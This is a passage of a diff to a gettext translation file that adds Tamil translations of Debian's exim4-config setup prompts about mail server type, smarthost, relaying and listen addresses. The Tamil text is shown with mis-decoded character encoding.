following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "உளà¯à®³à®®à¯ˆ அஞà¯à®šà®²à¯ மடà¯à®Ÿà¯à®®à¯; வலையமைபà¯à®ªà®¿à®²à¯ இலà¯à®²à¯ˆ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "இநà¯à®¤ நேரதà¯à®¤à®¿à®²à¯ வடிவமைபà¯à®ªà¯ இலà¯à®²à¯ˆ" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "பொதà¯à®µà®¾à®© அஞà¯à®šà®²à¯ வடிவமைபà¯à®ªà¯:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "உஙà¯à®•à®³à¯ தேவையை பூரà¯à®¤à¯à®¤à®¿ செயà¯à®¯à¯à®®à¯ அஞà¯à®šà®²à¯ வடிவமைபà¯à®ªà¯ˆ தேரà¯à®¨à¯à®¤à¯†à®Ÿà¯à®™à¯à®•à®³à¯." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"இயஙà¯à®•à¯à®¨à®¿à®²à¯ˆ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ கொணà¯à®Ÿ கணினிகள௠-டயலப௠கணினிகள௠உடà¯à®ªà®Ÿ- பொதà¯à®µà®¾à®• வெளிசà¯à®šà¯†à®²à¯à®²à¯à®®à¯ " +"அஞà¯à®šà®²à¯à®•à®³à¯ 'ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯' எனபà¯à®ªà®Ÿà¯à®®à¯ இனà¯à®©à¯Šà®°à¯ கணினிகà¯à®•à¯à®šà¯ செலà¯à®²à¯à®®à¯à®ªà®Ÿ வடிவமைகà¯à®•à®ªà¯ படவேணà¯à®Ÿà¯à®®à¯. " +"à®à®©à¯†à®©à®¿à®²à¯ இணையதளதà¯à®¤à®¿à®²à¯ உளà¯à®³ பல அஞà¯à®šà®²à¯ பெறà¯à®®à¯ அமைபà¯à®ªà¯à®•à®³à¯ இயஙà¯à®•à¯à®¨à®¿à®²à¯ˆ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ கொணà¯à®Ÿ " +"கணினிகளிடமிரà¯à®¨à¯à®¤à¯ வரà¯à®®à¯ அஞà¯à®šà®²à¯à®•à®³à¯ˆ எரிதம௠பாதà¯à®•à®¾à®ªà¯à®ªà¯ கரà¯à®¤à®¿ தடà¯à®¤à¯à®¤à¯ விடà¯à®•à®¿à®©à¯à®±à®©." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"இயஙà¯à®•à¯à®¨à®¿à®²à¯ˆ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®¯à¯ˆ கொணà¯à®Ÿ கணினி தனà¯à®©à®¿à®Ÿà®®à®¿à®°à¯à®¨à¯à®¤à¯‡ அஞà¯à®šà®²à¯ பெற இயலà¯à®®à¯. அலà¯à®²à®¤à¯ (அஞà¯à®šà®²à¯ " +"அதிகாரி, ரூட௠தவிர ) உள௠வினியோகம௠அனைதà¯à®¤à¯ˆà®¯à¯à®®à¯ à®®à¯à®±à¯à®±à¯à®®à¯ செயலிழகà¯à®•à®šà¯ செயà¯à®¯à®²à®¾à®®à¯." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "அஞà¯à®šà®²à¯ அமைபà¯à®ªà¯ˆ உணà¯à®®à¯ˆà®¯à®¾à®• வடிவமைகà¯à®•à®¾à®®à®²à¯ விடவா?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"அஞà¯à®šà®²à¯ அமைபà¯à®ªà¯ வடிவமைகà¯à®•à®ªà¯ படà¯à®®à¯ வரை அத௠சிதைநà¯à®¤à¯ பயன௠படà¯à®¤à¯à®¤ இயலாத௠இரà¯à®•à¯à®•à¯à®®à¯. பின௠ஒர௠" +"சமயம௠கை à®®à¯à®±à¯ˆà®¯à®¾à®•à®µà¯‹ ரூட௠ஆக 'dpkg-reconfigure exim4-config' கடà¯à®Ÿà®³à¯ˆà®¯à®¾à®²à¯‹ வடிவமைபà¯à®ªà¯ˆ " +"செயà¯à®¯ இயலà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "கணினியின௠அஞà¯à®šà®²à¯ பெயரà¯:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'அஞà¯à®šà®²à¯ பெயர௠' எனà¯à®ªà®¤à¯ களப௠பெயர௠இலà¯à®²à®¾à®¤ அஞà¯à®šà®²à¯ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ 'தகà¯à®¤à®¿ படà¯à®¤à¯à®¤à¯à®®à¯' களப௠பெயரà¯. " + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"இநà¯à®¤ பெயர௠மறà¯à®± நிரலà¯à®•à®³à®¾à®²à¯à®®à¯ பயனà¯à®ªà®Ÿà¯à®¤à¯à®¤à®ªà¯à®ªà®Ÿà®²à®¾à®®à¯. இத௠தனி à®®à¯à®´à¯à®®à¯ˆà®¯à®¾à®• à®à®±à¯à®•à®ªà¯à®ªà®Ÿà¯à®Ÿ களபà¯à®ªà¯†à®¯à®°à¯ " +"(FQDN) ஆக இரà¯à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"இவà¯à®µà®¾à®±à®¾à®• ஒர௠உளà¯à®³à®®à¯ˆ பà¯à®°à®µà®²à®©à®¿à®©à¯ அஞà¯à®šà®²à¯ à®®à¯à®•à®µà®°à®¿ foo@example.org ஆனாலà¯, இநà¯à®¤ தேரà¯à®µà¯à®•à¯à®•à¯ " +"சரியான மதிபà¯à®ªà¯ example.org ஆகà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"மற௠எழà¯à®¤à®²à¯ செயலாகà¯à®•à®¿ இரà¯à®ªà¯à®ªà®¿à®©à¯ இநà¯à®¤à®ªà¯ பெயர௠வெளி செலà¯à®²à¯à®®à¯ அஞà¯à®šà®²à¯à®•à®³à®¿à®²à¯ From: வரிகளில௠" +"காணபà¯à®ªà®Ÿà®¾à®¤à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "எநà¯à®¤ மறà¯à®± இலகà¯à®•à¯à®•à®³à¯à®•à¯à®•à®¾à®• அஞà¯à®šà®²à¯ பெறà¯à®±à¯à®•à¯à®•à¯Šà®³à¯à®³à®ªà¯ படà¯à®®à¯:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"எநà¯à®¤ பெறà¯à®®à¯ களஙà¯à®•à®³à¯à®•à¯à®•à¯ இநà¯à®¤ கணினி இறà¯à®¤à®¿ இலகà¯à®•à®¾à®• வேணà¯à®Ÿà¯à®®à¯ என (;) அரைப௠பà¯à®³à¯à®³à®¿à®¯à®¾à®²à¯ " +"பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. இநà¯à®¤ களஙà¯à®•à®³à¯ பொதà¯à®µà®¾à®• 'உடà¯à®•à®³à®™à¯à®•à®³à¯' எனப௠படà¯à®®à¯. உளà¯à®ªà¯à®°à®µà®²à®©à¯ " +"பெயர௠(${fqdn}) மறà¯à®±à¯à®®à¯ 'உளà¯à®ªà¯à®°à®µà®²à®©à¯' ஆகியன எபà¯à®ªà¯‹à®¤à¯à®®à¯‡ படà¯à®Ÿà®¿à®¯à®²à®¿à®²à¯ சேரà¯à®•à¯à®•à®ªà¯à®ªà®Ÿà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"à®®à¯à®©à¯à®©à®¿à®°à¯à®ªà¯à®ªà®¾à®• எலà¯à®²à®¾ உடà¯à®•à®³à®™à¯à®•à®³à¯à®®à¯ ஒனà¯à®±à®¾à®•à®µà¯‡ பாவிகà¯à®•à®ªà¯ படà¯à®®à¯. à®….உதாரணம௠ஆ.உதாரணம௠என இர௠" +"உடà¯à®•à®³à®™à¯à®•à®³à¯ இரà¯à®ªà¯à®ªà®¿à®©à¯ கணகà¯à®•à¯@à®….உதாரணம௠கணகà¯à®•à¯@ஆ.உதாரணம௠என à®®à¯à®•à®µà®°à®¿à®¯à®¿à®Ÿà¯à®Ÿ இர௠அஞà¯à®šà®²à¯à®•à®³à¯à®®à¯‡ " +"ஒரே இலகà¯à®•à®¿à®²à¯ வினியோகம௠செயà¯à®¯à®ªà¯à®ªà®Ÿà¯à®®à¯. களப௠பெயரà¯à®•à®³à¯ விதà¯à®¤à®¿à®¯à®¾à®šà®®à®¾à®• பாவிகà¯à®•à®ªà¯ பட வடிவமைபà¯à®ªà¯ " +"கோபà¯à®ªà¯à®•à¯à®•à®³à¯ˆ பினà¯à®©à®¾à®²à¯ திரà¯à®¤à¯à®¤ வேணà¯à®Ÿà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "எநà¯à®¤ களஙà¯à®•à®³à¯à®•à¯à®•à¯ அஞà¯à®šà®²à¯ மேலனà¯à®ªà¯à®ªà®ªà¯ படà¯à®®à¯:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"எநà¯à®¤ பெறà¯à®®à¯ களஙà¯à®•à®³à¯à®•à¯à®•à¯ -உதாரணமாக மாறà¯à®±à¯ à®à®±à¯à®ªà®¾à®Ÿà¯ MX அலà¯à®²à®¤à¯ அஞà¯à®šà®²à¯ நà¯à®´à¯ˆà®µà®¾à®¯à®¿à®²à¯- இநà¯à®¤ " +"கணினி அஞà¯à®šà®²à¯ˆ மேலனà¯à®ªà¯à®ª வேணà¯à®Ÿà¯à®®à¯ என (;) அரைப௠பà¯à®³à¯à®³à®¿à®¯à®¾à®²à¯ பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. " +"இதனால௠இநà¯à®¤ கணினி இணையதà¯à®¤à®¿à®²à¯ எநà¯à®¤ இடதà¯à®¤à®¿à®²à®¿à®°à¯à®¨à¯à®¤à¯à®®à¯ இநà¯à®¤ களஙà¯à®•à®³à®¿à®²à¯ இரà¯à®¨à¯à®¤à¯ அஞà¯à®šà®²à¯à®•à®³à¯ˆà®ªà¯ பெறà¯à®±à¯ " +"உள௠வினியோக விதிகள௠படி வினியோகிகà¯à®•à¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "உடà¯à®•à®³à®™à¯à®•à®³à¯ˆ இஙà¯à®•à¯ கà¯à®±à®¿à®ªà¯à®ªà®¿à®Ÿà®¾à®¤à¯€à®°à¯à®•à®³à¯. கà¯à®±à®¿à®ªà¯à®ªà®¿à®²à¯ கà¯à®±à®¿à®•à®³à¯ˆ பயன௠படà¯à®¤à¯à®¤à®²à®¾à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "எநà¯à®¤ இயநà¯à®¤à®¿à®°à®™à¯à®•à®³à¯à®•à¯à®•à¯ அஞà¯à®šà®²à¯ மேலனà¯à®ªà¯à®ªà®ªà¯ படà¯à®®à¯:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"எநà¯à®¤ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿ வீசà¯à®šà¯à®•à®³à¯à®•à¯à®•à¯ இநà¯à®¤ கணினி ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ ஆக செயல௠படà¯à®Ÿà¯ அஞà¯à®šà®²à¯ˆ வரையினà¯à®±à®¿ " +"மேலனà¯à®ªà¯à®ª வேணà¯à®Ÿà¯à®®à¯ என (;) அரைப௠பà¯à®³à¯à®³à®¿à®¯à®¾à®²à¯ பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"நீஙà¯à®•à®³à¯ செநà¯à®¤à®°à®®à®¾à®© address/prefix à®’à®´à¯à®™à¯à®•à¯ˆ பயன௠படà¯à®¤à¯à®¤à®µà¯‡à®£à¯à®Ÿà¯à®®à¯. (e.g. 194.222.242.0/24 " +"or 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"இநà¯à®¤ கணினி மறà¯à®± எநà¯à®¤ பà¯à®°à®µà®²à®©à¯à®•à¯à®•à¯à®®à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ ஆக இலà¯à®²à¯ˆ எனில௠இநà¯à®¤ படà¯à®Ÿà®¿à®¯à®²à¯ˆ வெறà¯à®±à®¾à®• " +"விடவà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "உள௠பயனிகளà¯à®•à¯à®•à¯ களப௠பெயரà¯:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"வெளிச௠செலà¯à®²à¯à®®à¯ அஞà¯à®šà®²à¯à®•à®³à®¿à®²à¯ உள௠அஞà¯à®šà®²à¯ பெயரை மறைகà¯à®• இநà¯à®¤ தேரà¯à®µà¯ செயலாகà¯à®•à®ªà¯ படà¯à®Ÿà®¤à¯. ஆகவே " +"உளà¯à®³à®®à¯ˆ பயனரà¯à®•à®³à®¿à®©à¯ அனà¯à®ªà¯à®ªà¯à®©à®°à¯ à®®à¯à®•à®µà®°à®¿à®¯à®¿à®²à¯ களப௠பெயர௠பகà¯à®¤à®¿à®•à¯à®•à®¾à®© களப௠பெயரை கà¯à®±à®¿à®ªà¯à®ªà®¿à®Ÿà¯à®¤à®²à¯ " +"அவசியமà¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "வெளிசà¯à®šà¯†à®²à¯à®²à¯à®®à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ கà¯à®•à¯ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿ அலà¯à®²à®¤à¯ பà¯à®°à®µà®²à®©à¯ பெயரà¯:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ ஆக இநà¯à®¤ கணினி செயல௠பட வேணà¯à®Ÿà®¿à®¯ அஞà¯à®šà®²à¯ சேவையகதà¯à®¤à®¿à®©à¯ பà¯à®°à®µà®²à®©à¯ பெயர௠அலà¯à®²à®¤à¯ à®à®ªà®¿ " +"à®®à¯à®•à®µà®°à®¿à®¯à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. இநà¯à®¤ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ உஙà¯à®•à®³à¯ அஞà¯à®šà®²à¯ˆ டிசிபி/25 அலà¯à®²à®¾à®¤ ஒர௠தà¯à®±à¯ˆà®¯à®¿à®²à¯ " +"பெறà¯à®±à¯à®•à¯à®•à¯Šà®³à¯à®³à¯à®®à®¾à®©à®¾à®²à¯ இரணà¯à®Ÿà¯ à®®à¯à®•à¯à®•à®¾à®±à¯ பà¯à®³à¯à®³à®¿à®•à®³à¯ˆ இடà¯à®Ÿà¯ தà¯à®±à¯ˆ எணà¯à®£à¯ˆà®¯à¯à®®à¯ கà¯à®±à®¿à®•à¯à®•à®µà¯à®®à¯. (எ-ட௠" +"smarthost.example::587 அலà¯à®²à®¤à¯ 192.168.254.254::2525).à®à®ªà®¿à®µà®¿6 à®®à¯à®•à®µà®°à®¿à®•à®³à®¿à®²à¯ à®®à¯à®•à¯à®•à®¾à®±à¯ " +"பà¯à®³à¯à®³à®¿à®•à®³à¯ˆ இரடà¯à®Ÿà®¿à®ªà¯à®ªà®¾à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ கà¯à®•à¯ உணà¯à®®à¯ˆà®ªà¯ படà¯à®¤à¯à®¤à®²à¯ தேவையானால௠எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ உணà¯à®®à¯ˆà®ªà¯ படà¯à®¤à¯à®¤à®²à¯ˆ அமைதà¯à®¤à®²à¯ கà¯à®±à®¿à®¤à¯à®¤ " +"கà¯à®±à®¿à®ªà¯à®ªà¯à®•à®³à¯à®•à¯à®•à¯ /usr/share/doc/exim4-base/ இல௠டெபியனà¯à®•à¯à®•à®¾à®© README கோபà¯à®ªà¯à®•à®³à¯ˆ " +"பாரà¯à®•à¯à®•à®µà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "ரூட௠மறà¯à®±à¯à®®à¯ அஞà¯à®šà®²à¯ அதிகாரி அஞà¯à®šà®²à¯ பெறà¯à®©à®°à¯:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"'அஞà¯à®šà®²à¯ அதிகாரி', 'ரூடà¯' மறà¯à®±à¯à®®à¯ மறà¯à®± கணினி கணகà¯à®•à¯à®•à®³à¯à®•à¯à®•à®¾à®© அஞà¯à®šà®²à¯à®•à®³à¯ உணà¯à®®à¯ˆà®¯à®¾à®© கணினி " +"மேலாளரின௠பயனர௠கணகà¯à®•à¯à®•à¯à®•à¯ மாறà¯à®±à®¿ அனà¯à®ªà¯à®ªà®ªà¯à®ªà®Ÿ வேணà¯à®Ÿà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"இநà¯à®¤ மதிபà¯à®ªà¯ வெறà¯à®±à®¾à®• விடப௠படà¯à®Ÿà®¾à®²à¯ அதà¯à®¤à®•à¯ˆà®¯ அஞà¯à®šà®²à¯à®•à®³à¯ /var/mail/mail அடைவில௠சேமிகà¯à®•à®ªà¯ " +"படà¯à®®à¯. அத௠விரà¯à®®à¯à®ªà®¤à¯ தகà¯à®•à®¤à®²à¯à®²." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"அஞà¯à®šà®²à¯ அதிகாரிகà¯à®•à®¾à®© அஞà¯à®šà®²à¯à®•à®³à¯ அநà¯à®¤ அநà¯à®¤ கணினியிலேயே படிகà¯à®•à®ªà¯ பட வேணà¯à®Ÿà¯à®®à¯. வேற௠எஙà¯à®•à¯‹ மேல௠" +"அனà¯à®ªà¯à®ªà®ªà¯ படகà¯à®•à¯‚டாதà¯. ஆகவே இஙà¯à®•à¯ படà¯à®Ÿà®¿à®¯à®²à®¿à®Ÿà®ªà¯ படà¯à®Ÿ பயனரà¯à®•à®³à®¿à®²à¯ à®’à®°à¯à®µà®°à®¿à®©à¯ அஞà¯à®šà®²à®¾à®µà®¤à¯ இநà¯à®¤ " +"கணினியிலிரà¯à®¨à¯à®¤à¯ திரà¯à®ªà¯à®ªà®¿ அனà¯à®ªà¯à®ªà®•à¯ கூடாதà¯. உள௠வினியோகதà¯à®¤à¯ˆ உறà¯à®¤à®¿ செயà¯à®¯ ஒர௠" +"'உணà¯à®®à¯ˆà®¯à®¾à®©-' எனà¯à®± à®®à¯à®©à¯à®©à¯Šà®Ÿà¯à®Ÿà¯ அமைகà¯à®•à®ªà¯ பட வேணà¯à®Ÿà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "பயனர௠பெயர௠பலவானால௠வெறà¯à®±à¯ இடதà¯à®¤à®¾à®²à¯ அவை பிரிகà¯à®•à®ªà¯ பட வேணà¯à®Ÿà¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "உள௠வரà¯à®®à¯ எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ இணைபà¯à®ªà¯à®•à®³à¯à®•à¯à®•à¯ எதிரà¯à®¨à¯‹à®•à¯à®•à®¿ கேடà¯à®•à¯à®®à¯ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"அரைப௠பà¯à®³à¯à®³à®¿à®•à®³à®¾à®²à¯ பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ ஒர௠à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. எகà¯à®¸à¯ இம௠எஸெமà¯à®Ÿà®¿à®ªà®¿ " +"கேடà¯à®ªà®¾à®©à¯ கிஙà¯à®•à®°à®©à¯ இஙà¯à®•à¯ படà¯à®Ÿà®¿à®¯à®²à®¿à®Ÿà¯à®Ÿ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ எதிரà¯à®¨à¯‹à®•à¯à®•à®¿ கேடà¯à®Ÿà¯ இரà¯à®•à¯à®•à¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"காலியான மதிபà¯à®ªà¯ எகà¯à®¸à¯ இம௠஠வலைபà¯à®ªà®¿à®©à¯à®©à®²à¯ இடை à®®à¯à®•à®¤à¯à®¤à®¿à®²à¯ உளà¯à®³ எலà¯à®²à®¾ இணைபà¯à®ªà¯à®•à®³à®¿à®²à¯à®®à¯ கேடà¯à®• " +"வைகà¯à®•à¯à®®à¯." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"இநà¯à®¤ கணினி பெசà¯à®®à¯†à®¯à¯à®²à¯ போனà¯à®± உள௠அமை சேவைகளிடமிரà¯à®¨à¯à®¤à¯‹ அலà¯à®²à®¤à¯ உஙà¯à®•à®³à¯ அஞà¯à®šà®²à¯ நிரல௠" +"உளà¯à®ªà¯à®°à®µà®²à®¿à®©à®¿à®Ÿà®®à¯ (வெளி பà¯à®°à®µà®²à®©à¯ அலà¯à®²) பேசà¯à®µà®¤à¯‹ போனà¯à®± அஞà¯à®šà®²à¯à®•à®³à¯ˆ மடà¯à®Ÿà¯à®®à¯ பெறà¯à®®à®¾à®©à®¾à®²à¯, உளà¯à®³à®®à¯ˆ " +"எகà¯à®¸à¯ இம௠கிஙà¯à®•à®°à®©à¯à®•à¯à®•à¯ வெளி இணைபà¯à®ªà¯à®•à¯à®•à®³à¯ˆ தடà¯à®¤à¯à®¤à®²à¯ சாலச௠சிறநà¯à®¤à®¤à¯. இதை செயà¯à®¯ இஙà¯à®•à¯ " +"127.0.0.1 என உளà¯à®³à®¿à®Ÿà¯à®™à¯à®•à®³à¯. அத௠பொத௠இடை à®®à¯à®•à®™à¯à®•à®³à®¿à®²à¯ ஒடà¯à®Ÿà¯à®•à¯ கேடà¯à®ªà®¤à¯ˆ செயல௠நீகà¯à®•à¯à®®à¯." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "" +"டிஎனà¯à®Žà®¸à¯ -கேளà¯à®µà®¿à®•à®³à¯ˆ à®®à¯à®Ÿà®¿à®¨à¯à®¤ வரை கà¯à®±à¯ˆà®µà®¾à®• வைதà¯à®¤à¯à®•à¯ கொளà¯à®•. (தேவையான போத௠டயல௠செயà¯à®¯?)" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"சதாரண பாணி எகà¯à®¸à¯ இம௠செயல௠டிஎனà¯à®Žà®¸à¯ ஠தà¯à®µà®•à¯à®•à®¤à¯à®¤à®¿à®©à¯ போதà¯à®®à¯ செயà¯à®¤à®¿à®•à®³à¯ˆ பெறà¯à®®à¯ போதà¯à®®à¯ அனà¯à®ªà¯à®ªà¯à®®à¯ " +"போதà¯à®®à¯ பாரà¯à®•à¯à®•à¯à®®à¯. இத௠பதிவேடà¯à®Ÿà®¿à®²à¯ பதிவ௠செயà¯à®¯à®µà¯à®®à¯ வடிவமைபà¯à®ªà®¿à®²à¯ மதிபà¯à®ªà¯ எணà¯à®•à®³à¯ˆ கà¯à®±à®¿à®ªà¯à®ªà®¤à¯ˆ " +"கà¯à®±à¯ˆà®•à¯à®•à®µà¯à®®à¯ பயன௠படà¯à®®à¯. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"இநà¯à®¤ கணினிகà¯à®•à¯ à®®à¯à®´à¯ டிஎனà¯à®Žà®¸à¯ சேவை தீரà¯à®ªà¯à®ªà®¿ எலà¯à®² நேரஙà¯à®•à®³à®¿à®²à¯à®®à¯ இலà¯à®²à¯ˆ எனில௠(உதாரணமாக டயல௠" +"அப௠இணைபà¯à®ªà¯‹ அலà¯à®²à®¤à¯ டயல௠ஆன௠டிமாணà¯à®Ÿà¯ இணைபà¯à®ªà¯‹à®¤à®¾à®©à¯ இணய இணைபà¯à®ªà¯ எனிலà¯) இதனால௠விரà¯à®®à¯à®ªà®¤à¯ தகாத " +"நிகழà¯à®µà¯à®•à®³à¯ à®à®±à¯à®ªà®Ÿà®²à®¾à®®à¯. 